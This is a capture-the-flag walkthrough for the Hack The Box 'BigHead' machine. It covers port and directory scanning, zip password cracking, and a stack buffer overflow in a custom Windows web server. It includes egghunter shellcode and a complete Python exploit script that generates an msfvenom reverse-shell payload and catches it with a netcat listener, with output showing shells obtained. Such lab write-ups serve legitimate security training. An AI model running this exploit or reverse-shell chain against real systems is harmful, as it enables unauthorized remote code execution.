BigHead Walkthrough - by ȜӎŗgͷͼȜ

This is a walk-through of the BigHead Challenge created for Hack The Box by ȜӎŗgͷͼȜ. This guide shows how it was intended that people may be able to complete this challenge.

Contents:


Scanning For Open Ports

To begin, we can use nmap to do a full port range scan for any open ports/services of BigHead.htb


[email protected]:~# nmap -p- bighead.htb --open

Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-22 18:56 BST
Nmap scan report for bighead.htb (172.16.0.7)
Host is up (0.00023s latency).
Not shown: 65534 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 08:00:27:A5:41:12 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 107.12 seconds


We have discovered 1 open port that looks like http.

So, now we can scan it in more detail.

Port 80 (http)


[email protected]:~# nmap -p 80 bighead.htb -A

Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-22 18:58 BST
Nmap scan report for bighead.htb (172.16.0.7)
Host is up (0.00033s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.14.0
|_http-server-header: nginx/1.14.0
|_http-title: PiperNet Comes
MAC Address: 08:00:27:A5:41:12 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS details: Microsoft Windows Server 2008 or 2008 Beta 3, Microsoft Windows Server 2008 R2 or Windows 8.1, 
   Microsoft Windows 7 Professional or Windows 8, Microsoft Windows Embedded Standard 7, Microsoft Windows Phone 7.5 or 8.0, 
   Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7, Microsoft Windows Vista SP2, Windows 7 SP1,
   or Windows Server 2008
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.33 ms bighead.htb (172.16.0.7)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.75 seconds

Not much to go off so far apart from finding out its Nginx 1.14.0 and the OS is likely to be some flavor of Microsoft Windows.

Visiting the site, we find that it’s a company blog containing info about the team and the latest cryptocurrency tech they are developing.

Web Directory Enumeration (http)

However if we go on to use burp, we are able to play around with the site until we find an interesting sub domain that calls what looks like a php emailer script perhaps.

Investigation of the script doesn’t lead us anywhere useful, apart from indicating that the site is using sub-domains for internal resources.

We’ll keep that in mind, but for now do some more enumeration of the main site domain.

[email protected]:~# gobuster -t 100 -l -x htm,html,php,txt -u http://bighead.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt

Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://bighead.htb/
[+] Threads      : 100
[+] Wordlist     : /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Status codes : 204,301,302,307,200
[+] Show length  : true
[+] Extensions   : .htm,.html,.php,.txt
=====================================================
/Images (Status: 301)
/Index.html (Status: 200) [Size: 11137]
/assets (Status: 301)
/backend (Status: 302)
/backend.htm (Status: 302)
/backend.html (Status: 302)
/backend.php (Status: 302)
/backend.txt (Status: 302)
/images (Status: 301)
/index.html (Status: 200) [Size: 11137]
/updatecheck (Status: 302)
/updatecheck.htm (Status: 302)
/updatecheck.html (Status: 302)
/updatecheck.php (Status: 302)
/updatecheck.txt (Status: 302)
=====================================================

So, we now see two interesting HTTP 302 Redirect responses happening…

lets use curl to investigate where the redirects are trying to send us.

[email protected]:~# curl -I http://bighead.htb/backend
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.14.0
Date: Mon, 27 Aug 2018 13:58:57 GMT
Content-Type: text/html
Content-Length: 161
Location: http://bighead.htb/BigHead
Connection: keep-alive

[email protected]:~# curl -I http://bighead.htb/BigHead
HTTP/1.1 404 Not Found
Server: nginx/1.14.0
Date: Mon, 27 Aug 2018 13:59:07 GMT
Content-Type: text/html
Content-Length: 541
Connection: keep-alive
ETag: "5b413361-21d"

[email protected]:~#

We found a reference to a “/backend” directory called “BigHead” that gives a HTTP 404 Not Found response. Maybe it’s a clue we’re looking for something called “BigHead” running on a backend server of some kind behind the Nginx Reverse Proxy?

lets see where ”/updatecheck” sends us…

[email protected]:~# curl -I http://bighead.htb/updatecheck
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.14.0
Date: Mon, 27 Aug 2018 14:03:48 GMT
Content-Type: text/html
Content-Length: 161
Connection: keep-alive
Location: http://code.bighead.htb/phpmyadmin/phpinfo.php

[email protected]:~# curl -I http://code.bighead.htb/phpmyadmin/phpinfo.php
HTTP/1.1 200 OK
Server: nginx/1.14.0
Date: Mon, 27 Aug 2018 14:04:03 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.6.36

OK, another sub-domain and a redirect to a phpinfo page.

Now we know the php version and Windows system build info:
Windows NT PIEDPIPER 6.0 build 6002 (Windows Server 2008 Web Server Edition Service Pack 2) i586 & PHP Version 5.6.36

I’m sure this might come in handy later. Also interesting is the favicon image in the top left corner of the browser tab. The header says Nginx/1.14.0, but that favicon is the default for Bitnami XAMPP. Again, more key info that could be of use later.

We also see a reference to phpmyadmin

Seeing as we got a new sub-domain called http://code.bighead.htb/" let’s scan it’s directory structure.

[email protected]:~# gobuster -t 100 -l -x htm,html,php,txt -u http://code.bighead.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt

Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://code.bighead.htb/
[+] Threads      : 100
[+] Wordlist     : /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Status codes : 200,204,301,302,307
[+] Show length  : true
[+] Extensions   : .htm,.html,.php,.txt
=====================================================
/Index.html (Status: 200) [Size: 612]
/Images (Status: 301)
/applications.html (Status: 200) [Size: 4961]
/assets (Status: 301)
/dashboard (Status: 301)
/dev (Status: 301)
/favicon.ico (Status: 200) [Size: 30894]
/images (Status: 301)
/img (Status: 301)
/index (Status: 302)
... (extra output removed here!)
/licenses (Status: 301)
/mail (Status: 301)
/phpmyadmin (Status: 301)
/server-info (Status: 200) [Size: 106388]
/server-status (Status: 200) [Size: 27206]
/sendmail.php (Status: 200) [Size: 3496]
/webalizer (Status: 301)
/xampp (Status: 301)
=====================================================

Some good info here… lets take a look at ”/applications.html”

And we find a page with some promising links, leading to a broken phpmyadmin page, a phpinfo page that gives a HTTP 404 Error revealing a server banner of: Apache/2.4.33 (Win32) OpenSSL/1.0.2o PHP/5.6.36.

But we do find an interesting link to a Bitnami TestLink application installed on a back-end Bitnami XAMPP server. And… when we visit the link we are greeted with a misconfigured javascript redirector in the response.

But replacing the hostname and port for the correct value allows us to visit the testlink application login page.

But, again things seem broken. However, we are able to see a nice path disclosure and debug message and again gather a bit more insight into how the backend services are configured.

Anyway, lets enumerate the ”/testlink” directory also.

[email protected]:~# gobuster -t 100 -l -x htm,html,php,txt -u http://code.bighead.htb/testlink/ -w /usr/share/seclists/Discovery/Web-Content/common.txt 

Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://code.bighead.htb/testlink/
[+] Threads      : 100
[+] Wordlist     : /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Status codes : 200,204,301,302,307
[+] Show length  : true
[+] Extensions   : .htm,.html,.php,.txt
=====================================================
/ChangeLog (Status: 200) [Size: 306612]
/LICENSE (Status: 200) [Size: 18009]
/Logs (Status: 301)
/Index (Status: 200) [Size: 136]
/Index.php (Status: 200) [Size: 136]
/Login (Status: 200) [Size: 15951]
/Login.php (Status: 200) [Size: 15951]
/cfg (Status: 301)
/changelog (Status: 200) [Size: 306612]
/error (Status: 200) [Size: 2748]
/extra (Status: 301)
/error.php (Status: 200) [Size: 2748]
/gui (Status: 301)
/index (Status: 200) [Size: 136]
/index.php (Status: 200) [Size: 136]
/index.php (Status: 200) [Size: 136]
/lib (Status: 301)
/license (Status: 200) [Size: 18009]
/logs (Status: 301)
/login (Status: 200) [Size: 15951]
/logout (Status: 200) [Size: 18681]
/logout.php (Status: 200) [Size: 18681]
/login.php (Status: 200) [Size: 15951]
/note (Status: 200) [Size: 218]
/note.txt (Status: 200) [Size: 218]
/plugins (Status: 301)
/plugin (Status: 200) [Size: 932]
/plugin.php (Status: 200) [Size: 932]
=====================================================

”/note.txt” looks promising…

[email protected]:~# curl http://code.bighead.htb/testlink/note.txt
BIGHEAD! You F%*#ing R*#@*d!

STAY IN YOUR OWN DEV SUB!!!...

You have literally broken the code testing app and tools I spent all night building for Richard!

I don't want to see you in my code again!

Dinesh.

So it seems “BigHead” (aka. Nelson) has borked the backend. Dinesh indicates in his note that Bighead has his own development sub-domain. So, lets try to find it by fuzzing the Host Header

[email protected]:~# wfuzz -c -w /usr/share/sublist3r/subbrute/names.txt --hh 11175 -u http://20.20.20.45/ -H "Host: FUZZ.bighead.htb"

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.2.11 - The Web Fuzzer                        *
********************************************************

Target: http://20.20.20.45/
Total requests: 129408

==================================================================
ID  Response   Lines      Word         Chars          Payload    
==================================================================

000022:  C=200      1 L        3 W    13456 Ch    "dev"
000484:  C=302      7 L       10 W      161 Ch    "mailer"
000710:  C=302      0 L        0 W        0 Ch    "code"

Ha, “dev” has been found, so let’s have a look.

Look, there he is… sitting gormless as ever!!

Let’s dir scan him too…

Hmmnn… wfuzz and gobuster seem to cause the server to hang for some reason. Maybe relevant later if it’s causing a crash perhaps.

Anyway, a basic dirb scan should be gentle enough.

[email protected]:~# dirb http://dev.bighead.htb/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Mon Aug 27 22:39:04 2018
URL_BASE: http://dev.bighead.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://dev.bighead.htb/ ----
+ http://dev.bighead.htb/blog (CODE:302|SIZE:161)                                                                         
+ http://dev.bighead.htb/blog_ajax (CODE:302|SIZE:161)                                                                    
+ http://dev.bighead.htb/blog_inlinemod (CODE:302|SIZE:161)                                                               
+ http://dev.bighead.htb/blog_report (CODE:302|SIZE:161)                                                                  
+ http://dev.bighead.htb/blog_search (CODE:302|SIZE:161)                                                                  
+ http://dev.bighead.htb/blog_usercp (CODE:302|SIZE:161)                                                                  
+ http://dev.bighead.htb/blogger (CODE:302|SIZE:161)                                                                      
+ http://dev.bighead.htb/bloggers (CODE:302|SIZE:161)                                                                     
+ http://dev.bighead.htb/blogindex (CODE:302|SIZE:161)                                                                    
+ http://dev.bighead.htb/blogs (CODE:302|SIZE:161)                                                                        
+ http://dev.bighead.htb/blogspot (CODE:302|SIZE:161)                                                                     
+ http://dev.bighead.htb/coffee (CODE:418|SIZE:46)                                                                        
+ http://dev.bighead.htb/wp-content (CODE:302|SIZE:161)                                                                   
                                                                                                                          
-----------------
END_TIME: Mon Aug 27 22:39:08 2018
DOWNLOADED: 4612 - FOUND: 13

Checking the results in a browser and viewing the responses in the firefox network monitor tool we see there is a redirect recursion going on. Clearly this guy doesn’t know what he’s doing…

Also noteworthy is the strange 418 Http Error Code. A quick Google search reveals this is an easter egg written into the http specification as an April fools joke in RFC 2324. Let’s take a look at the page it responds with.

Interestingly we get a different server header response for the nginx/1.14.0 one.
Now we see Server: BigheadWebSvr 1.0 when the error is returned,& an animated gif of an “I’m A Teapot” Error and a hint to do some Gooling perhaps…

Accessing The Application

lets do a web search for “BigheadWebSvr 1.0”.

We get a single result for a Github Repo hosting what looks like a backup zip file of the BigheadWebSvr.

So let’s download and unzip the BHWS_Backup.zip archive.

It seems to be password protected. Lets try to crack the password using john the ripper.

[email protected]:~# zip2john BHWS_Backup.zip > BHWS_Backup.zip.hash
BHWS_Backup.zip->BHWS_Backup/ is not encrypted!
BHWS_Backup.zip->BHWS_Backup/conf/ is not encrypted!
[email protected]:~# cat BHWS_Backup.zip.hash
BHWS_Backup.zip:$zip2$*0*3*0*231ffea3729caa2f37a865b0dca373d7*d63f*49*61c6e7d2949fb22573c57dec460346954bba23dffb11f1204d4a6bc10e91b4559a6b984884fcb376ea1e2925b127b5f6721c4ef486c481738b94f08ac09df30c30d2ae3eb8032c586f*28c1b9eb8b0e1769b4d3*$/zip2$:::::BHWS_Backup.zip

[email protected]:~# john BHWS_Backup.zip.hash --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 128/128 AVX 4x])
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:05:31 5.47% (ETA: 01:27:12) 0g/s 2699p/s 2699c/s 2699C/s kibbles5..kibalover1
0g 0:00:07:11 7.15% (ETA: 01:26:44) 0g/s 2702p/s 2702c/s 2702C/s whitesox24..whitesox13
0g 0:00:09:39 9.82% (ETA: 01:24:36) 0g/s 2704p/s 2704c/s 2704C/s lizmon..lizmer
......

Unfortunately the cracking attempt seems to fail.

however, thinking back to the Github Repo, we saw there had been 4 commits to the project. Maybe a previous commit will allow us to extract the files? lets investigate the commits a bit more.

We see that since the initial commit there have been 3 commits that are interesting.

It seems that the latest version has been encrypted with a password by Gilfoyle. Also, in the commit before that, it has been commented as having been a bug fix. However, 0 file changes were detected when it was uploaded.

Downloading the version committed on Jul 3, 2018, we re-attempt to crack the password.

[email protected]:~# john BHWS_Backup.zip.hash --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 128/128 AVX 4x])
Press 'q' or Ctrl-C to abort, almost any other key for status
bighead          (BHWS_Backup.zip)
1g 0:00:00:01 DONE (2018-08-28 00:47) 0.5405g/s 2317p/s 2317c/s 2317C/s bighead..mercado
Use the "--show" option to display all of the cracked passwords reliably
Session completed

“bighead” is the password, and we are able to extract a Windows PE32 executable and dll along with some conf files.

[email protected]:~/BHWS_Backup# ls -alR
.:
total 92
drwx------  3 root root  4096 Jul  3 00:56 .
drwxr-xr-x 44 root root  4096 Aug 28 00:47 ..
-rw-r--r--  1 root root 28540 Jul  2 21:33 bHeadSvr.dll
-rw-r--r--  1 root root 51431 Jul  2 21:33 BigheadWebSvr.exe
drwx------  2 root root  4096 Jul  3 00:57 conf

./conf:
total 52
drwx------ 2 root root 4096 Jul  3 00:57 .
drwx------ 3 root root 4096 Jul  3 00:56 ..
-rw-r--r-- 1 root root 1103 Jun 23 16:50 fastcgi.conf
-rw-r--r-- 1 root root 1032 Jun 23 16:50 fastcgi_params
-rw-r--r-- 1 root root 2946 Jun 23 16:50 koi-utf
-rw-r--r-- 1 root root 2326 Jun 23 16:50 koi-win
-rw-r--r-- 1 root root 5265 Jun 23 16:50 mime.types
-rw-r--r-- 1 root root 4523 Jul  2 20:34 nginx.conf
-rw-r--r-- 1 root root  653 Jun 23 16:50 scgi_params
-rw-r--r-- 1 root root  681 Jun 23 16:50 uwsgi_params
-rw-r--r-- 1 root root 3736 Jun 23 16:50 win-utf

[email protected]:~/BHWS_Backup# file BigheadWebSvr.exe bHeadSvr.dll 
BigheadWebSvr.exe: PE32 executable (console) Intel 80386, for MS Windows
bHeadSvr.dll:      PE32 executable (DLL) (console) Intel 80386, for MS Windows

We can test BigHeadWebSvr.exe using wine. This will simulate it running on a Windows 7 host in order for us to quickly test the application before building an accurate replica of the target if we find we need to.

[email protected]:~/BHWS_Backup# wine BigheadWebSvr.exe 
0009:err:module:import_dll Library libmingwex-0.dll (which is needed by L"Z:\\root\\BHWS_Backup\\BigheadWebSvr.exe") not found
0009:err:module:attach_dlls Importing dlls for L"Z:\\root\\BHWS_Backup\\BigheadWebSvr.exe" failed, status c0000135

But after investigating the application we see there is still a dll called libmingwex-0.dll missing. A quick Google for it and we find out that it’s part of the MinGW - Minimalist GNU for Windows project.

Downloading just the required archive file of libmingwex-5.0.2-mingw32-dll-0.tar.xz will hopefully allow us to run the BigHeadWebSvr.exe application and test it out.

[email protected]:~/BHWS_Backup# tar -xvf libmingwex-5.0.2-mingw32-dll-0.tar.xz 
bin/
bin/libmingwex-0.dll
[email protected]:~/BHWS_Backup# mv bin/libmingwex-0.dll .
[email protected]:~/BHWS_Backup# ls
bHeadSvr.dll  BigheadWebSvr.exe  bin  conf  libmingwex-0.dll  libmingwex-5.0.2-mingw32-dll-0.tar.xz
[email protected]:~/BHWS_Backup# wine BigheadWebSvr.exe 
Starting BigheadWebSvr version 1.0
Called essential function dll version 1.00

This is vulnerable software!
Do not allow access from untrusted systems or networks!

Waiting for client connections...

It seems to run and be the version we want… let’s see what port it runs on.

[email protected]:~/BHWS_Backup# netstat -pantl|grep BigheadWebSvr
tcp        0      0 0.0.0.0:8008            0.0.0.0:*               LISTEN      21735/BigheadWebSvr 
[email protected]:~/BHWS_Backup# curl -I http://127.0.0.1:8008/
HTTP/1.1 200 OK
Date: Sat, 23 Jun 2018 14:37:16 GMT
Server: BigheadWebSvr 1.0
Content-Length: 13456
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

So it looks like we now have a working copy of the same backend web application as is running on the target server.

Interestingly, the application binds to TCP port 8008 but on the target server it is reachable via TCP port 80. This indicates the front end http server is set up as a reverse proxy as we suspected earlier.

Also, looking at the “conf/nginx.conf” file we downloaded from Github we can see all sorts of redirects and request proxying is configured.

[email protected]:~/dev/BHWS_Backup# cat conf/nginx.conf 

#user  nobody;
worker_processes  1;

#error_log  logs/error.log;
#error_log  logs/error.log  notice;
#error_log  logs/error.log  info;

#pid        logs/nginx.pid;


events {
    worker_connections  1024;
}


http {
    include       mime.types;
    default_type  application/octet-stream;

...
    sendfile        on;
    #tcp_nopush     on;

    #keepalive_timeout  0;
    keepalive_timeout  65;

    #gzip  on;

    server {
        listen       80;
        server_name  localhost;
        
        # adds gzip options
        gzip on;
    gzip_types      text/css text/plain text/xml application/xml application/javascript application/x-javascript text/javascript application/json text/x-json;
    gzip_proxied    no-store no-cache private expired auth;
    #gzip_min_length 1000;
    gzip_disable     "MSIE [1-6]\.";

        #charset koi8-r;

        #access_log  logs/host.access.log  main;

    location / {
      # Backend server to forward requests to/from
      proxy_pass          http://127.0.0.1:8008;
      proxy_cache_convert_head off;
      proxy_cache_key $scheme$proxy_host$request_uri$request_method;
      proxy_http_version  1.1;
      
      # adds gzip
      gzip_static on;
    
    }
    
    location /blog {
      rewrite /blog /piedpiper/ redirect;
    }
    
    location /piedpiper {
            root   html/;
            index  index.html;
        }
    
    location /dev {
      rewrite /dev /testlink/ redirect;
    }
    
    location /testlink/ {
      # Backend server to forward requests to/from
      proxy_pass          http://127.0.0.1:5080;
      proxy_cache_key $scheme$proxy_host$request_uri$request_method;
      proxy_http_version  1.1;
      
      # adds gzip
      gzip_static on;
    
    }
    
    location /backend {
      rewrite /backend /BigHead/ redirect;
    }
    
    location /coffee {
      # Backend server to forward requests to/from
      #rewrite /coffee /teapot/ redirect;
      #return 418;
      proxy_pass          http://127.0.0.1:8008;
      proxy_cache_convert_head off;
      proxy_intercept_errors off;
      proxy_cache_key $scheme$proxy_host$request_uri$request_method;
      proxy_http_version  1.1;
      proxy_pass_header Server;
      # adds gzip
      gzip_static on;
    
    }

    location /teapot {
            root   html/;
            index  index.html;
      #return 418;
        }

    
    location ~ .(png|gif|ico|jpg|jpeg)$ {
            root   html/img/;
            index  index.html;
        }

        #error_page  404              /404.html;

        # redirect server error pages to the static page /50x.html
        #
        error_page   500 502 503 504  /50x.html;
        location = /50x.html {
            root   html;
        }

...
        location ~ /\.ht {
            deny  all;
        }
    }
...
}

For now though we just want to inspect how the application works. so we don’t need to set up nginx for testing.

Playing around with the curl requests we can cause the application to crash if we use the HTTP HEAD request method!
Hmnn… Send it a BIG HEAD!? perhaps :D No wonder the directory scanning tools were crashing the backend application on the target.

Let’s see what wee can do…

[email protected]:~/BHWS_Backup# curl --head http://127.0.0.1:8008/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

… and if we send it a string of A’s we see it caused a buffer overflow and overwrites the EAX & EDX Registers

Developing An Exploit

Now we have the application, and we know the target windows system information we can download the corresponding windows installation image and build a replica of the target to carry out our exploit dev.

A bit of Google foo and some digging around the web will lead us to the corresponding windows image file for Windows Server 2008 Web Server SP2 x86 related to the info we have. However, Microsoft seem to have made this outdated version unavailable to general web users.

Luckily, There is still an old related Windows Server 2008 x86 180 Day Evaluation iso publicly available from the Microsoft Downloads Page

ISO:6001.18000.080118-1840_x86fre_Server_en-us-KRMSFRE_EN_DVD.iso

Once downloaded, we can create a Windows Server 2008 VM and install the BigHeadWebSvr.exe application and associated dll files, and set up a debug environment to start developing an exploit.

Then once we have the a server set up, we need to install a debugger. Immunity Debugger along with the mona.py PyCommand addon should be suitable for this purpose.

Using mona.py we can check and see if any Safe SEH or ASLR protections are enabled for any of the files we are investigating.

Lucky for us, all protections are disabled.

Step 1
Find The Buffer Offset To Overwrite The EIP Register

A simple curl command with a bit of python will help us quickly prototype an exploit buffer and position our code to overwrite the EIP register.

[email protected]:~/dev/bof/steps# curl --head \
http://192.168.56.101:8008/$(python -c 'print(("A"*72)+("B"*8))')

And viewing the hex dump of where the registers are now pointing to we can see the EAX register points to the address at the start of the buffer of 72 x A’s.

Step 2
Overwrite EIP With A JMP EAX Instruction

Good, that means now we just need to find a JMP EAX instruction to replace the string of 8 x B’s in our request path. Then we can overwrite EIP with that value and jump to the start of the buffer.

The search menu in Immunity will allow us to search through all JMP EAX instructions until we find a good one to try.

A suitable JMP EAX address of 64552F19 can be found in the libmingwex-0.dll file that doesn’t contain any NULL bytes that might break our exploit.

so, let’s use that…

After searching for the address string of 64552F19, selecting it, and then hitting F2 to set a breakpoint; we can replace the string of 8 x B’s with 192F5564 (the address in little endian format) in our curl request in order to see if we can jump to the start of the buffer.

[email protected]:~/dev/bof/steps# curl --head \
http://192.168.56.101:8008/$(python -c 'print(("A"*72)+("192F5564"))')

Great, we see the breakpoint is hit. By pressing F7, code execution jumps to the start of the buffer,

Step 3
Injecting An EggHunter Shellcode

As can be seen, we have a pretty small executable buffer size of only 36 Bytes in which to inject a shellcode. Luckily, a 32 Byte EggHunter will just fit into this small space and allow us to execute a memory scanning loop that will search for a string in memory. Then when it finds it, execute the shellcode immediately following that string.

Here’s one i made earlier…

[email protected]:~# xxd 3gghunt3r 
00000000: 6681 caff 0f42 526a 0258 cd2e 3c05 5a74  f....BRj.X..<.Zt
00000010: efb8 336d 6733 8bfa af75 eaaf 75e7 ffe7  ..3mg3...u..u...
[email protected]:~# xxd -p -c 32 3gghunt3r
6681caff0f42526a0258cd2e3c055a74efb8336d67338bfaaf75eaaf75e7ffe7
[email protected]:~# disasm 6681CAFF0F42526A0258CD2E3C055A74EFB8336D67338BFAAF75EAAF75E7FFE7
   0:    66 81 ca ff 0f           or     dx, 0xfff
   5:    42                       inc    edx
   6:    52                       push   edx
   7:    6a 02                    push   0x2
   9:    58                       pop    eax
   a:    cd 2e                    int    0x2e
   c:    3c 05                    cmp    al, 0x5
   e:    5a                       pop    edx
   f:    74 ef                    je     0x0
  11:    b8 33 6d 67 33           mov    eax, 0x33676d33   <-- Egg of 3mg3
  16:    8b fa                    mov    edi, edx
  18:    af                       scas   eax, DWORD PTR es:[edi]
  19:    75 ea                    jne    0x5
  1b:    af                       scas   eax, DWORD PTR es:[edi]
  1c:    75 e7                    jne    0x5
  1e:    ff e7                    jmp    edi

So if we send that string of hex instructions as the first part of the buffer, as long as there are no bad chars we should see the egghunter successfully injected in the CPU Thread window in the debugger.

[email protected]:~/dev/bof/steps# curl --head \
http://192.168.56.101:8008/$(python -c 'print(("6681CAFF0F42526A0258CD2E3C055A74EFB8336D67338BFAAF75EAAF75E7FFE7")+("A"*8)+("192F5564"))')

Thankfully, all the instructions are correctly represented and we are able to successfully execute the shellcode.

So, this is all well and good, but we want to get a reverse shell. So lets look at now putting it all together into a python script and running a reverse shell payload by injecting it into memory before catching and running it with the egghunter.

Step 4
Injecting A RevShell Payload Into Memory

With the help of Python Requests and a bit of work, we can knock together a nice little reverse shell exploit.

Here, I have decided to send an initial POST request containing a TCP reverse shell payload as a chunk of post data.

Also, with the help of Python Subprocess i can generate a payload on the fly using msfvenom, and also set up a netcat listener to wait for the incoming connection.

I also included http proxy settings so we can see the payload and exploit requests in Burp Suite

bigHeadButt.py

#!/usr/bin/python

import sys, subprocess, requests
from requests import Request, Session

banner = (
          "[+] Useage: %s <rhost> <rport> <lhost> <lport>"%sys.argv[0]
         )
if __name__ == '__main__':
    try:
      rhost = sys.argv[1]
      rport = sys.argv[2]
      lhost = sys.argv[3]
      lport = sys.argv[4]
    except IndexError:
      print(banner)
      sys.exit(-1)

urlpath = ("http://" + rhost + ":" + str(rport) + "/")
hdrs    = {'User-Agent': '3mrgnc3'}
proxy   = {'http': 'http://127.0.0.1:8080'}
lstner  = ("nc -s " + lhost + " -nvlp " + str(lport))

mksh  = (# Auto Generate Reverse Shell Payload Using msfvenom
         "msfvenom -p windows/shell_reverse_tcp" +
         " -e x86/shikata_ga_nai" +
         " EXITFUNC=thread" +
         " -v RevShell" +
         " LHOST=" + lhost +
         " LPORT=" + lport +
         " -f python" +
         " -a x86" +
         " -o RevPld.py"
        )

try:
    print("[+] Attempting To Generate Reverse Shell Payload ...")
    vnm = subprocess.Popen(mksh.split(), stdout=subprocess.PIPE)
    vnm.wait()
    print("[+] Reverse Shell Payload Generated Successfully...")
except:    
    print("[!] ERROR: Couldn't Generate Payload")
    sys.exit(-1)

from RevPld import RevShell

shl  = (# Prepends a string of 3mg33mg3
        ("3mg3" * 2) + 
        # Insert msfvenom revshell payload 
        RevShell       
       ) 

egh  = (# EggHunter Shellcode
        "6681CAFF0F42526A"  # 32 byte EggHunter, with egg of '3mg3'
        "0258CD2E3C055A74"  # This will scan through mem address space 
        "EFB8336D67338BFA"  # and try to match the string "3mg33mg3", 
        "AF75EAAF75E7FFE7"  # then execute the shellcode that follows it.
       )

buf  = (# Place the EggHunter at the start of the buffer.
        egh +
        # EIP Overwrite Buffer
        ("A" * ((72) - len(egh))) +  
        # 64552F19 JMP EAX 
        # From Module Name=C:\MinGW\bin\libmingwex-0.dll
        "192F5564" 
       )        

sploit = (urlpath + buf)

print("[+] Sending evil HTTP request to BigHeadWebSvr 1.0")

try: # Prepare POST content body so it won't URL Encode the shellcode data.
  s = Session()
  payload={'5h377':shl}
  r = Request('POST', urlpath, data=payload, headers=hdrs)
  prepped = r.prepare()
  prepped.body = shl
  del prepped.headers['Content-Type']
  # Send The Egg RevShell Payload as a POST Request data  
  resp = s.send(prepped, proxies=proxy, timeout=0.01)
  print(resp.status_code)
except:
  print("[+] Shell Payload Sent...")

try:
    # Send the HEAD METHOD BOF Exploit
    r = requests.head(sploit, headers=hdrs, timeout=0.01, proxies=proxy)
except:
  print("[+] Exploit Sent!")

try:
    # Start a netcat listener and wait for the incoming connection
    print("[+] Listening for reverse shell")
    ncl = subprocess.Popen(lstner, shell=True)
    ncl.poll()
    ncl.wait()
except:    
    print("\r[!] Shell Terminated!")
    exit(0)

So let’s test it out against the sploit dev server…

[email protected]:~/dev/bof/steps# ./bigHeadButt.py 192.168.56.101 8008 192.168.56.10 7034
[+] Attempting To Generate Reverse Shell Payload ...
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1869 bytes
Saved as: RevPld.py
[+] Reverse Shell Payload Generated Successfully...
[+] Sending evil HTTP request to BigHeadWebSvr 1.0
[+] Shell Payload Sent...
[+] Exploit Sent!
[+] Listening for reverse shell
listening on [192.168.56.10] 7034 ...
connect to [192.168.56.10] from (UNKNOWN) [192.168.56.101] 51609
Microsoft Windows [Version 6.0.6001]
Copyright (c) 2006 Microsoft Corporation.  All rights reserved.

C:\Users\Administrator\Desktop\SploitDev>

Looking in the HTTP History tab in Burp Suite we see how the reverse shell payload that was auto generated by msfvenom was successfully sent in the initial POST Request

Then we see the HEAD Request containing the exploit string sent immediately after that.

Awesome… :D

Step 5
Getting A Reverse Shell

Now we just need to confirm it works against the BigHead target server.

It’s important to Note, if the CPU is under load already, the egghunter could take up to 5~10 minutes or more to return a shell on the target due to the nature of how they work by scanning through the full available address space looking for the signature prepended to our shellcode. In most cases though, will only take 2~3 minutes…

After playing around with different egress ports, we find most are blocked. But, both tcp port 80 & 53 are allowing outbound traffic. So using one of those we can try to establish a stable shell.

[email protected]:~/dev/bof/steps# ./bigHeadButt.py dev.bighead.htb 80 192.168.56.10 53
[+] Attempting To Generate Reverse Shell Payload ...
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1869 bytes
Saved as: RevPld.py
[+] Reverse Shell Payload Generated Successfully...
[+] Sending evil HTTP request to BigHeadWebSvr 1.0
[+] Shell Payload Sent...
[+] Exploit Sent!
[+] Listening for reverse shell
listening on [192.168.56.10] 53 ...
connect to [192.168.56.10] from (UNKNOWN) [20.20.20.45] 49159
Microsoft Windows [Version 6.0.6002]
Copyright (c) 2006 Microsoft Corporation.  All rights reserved.

C:\nginx>whoami
whoami
piedpiper\nelson

C:\nginx>

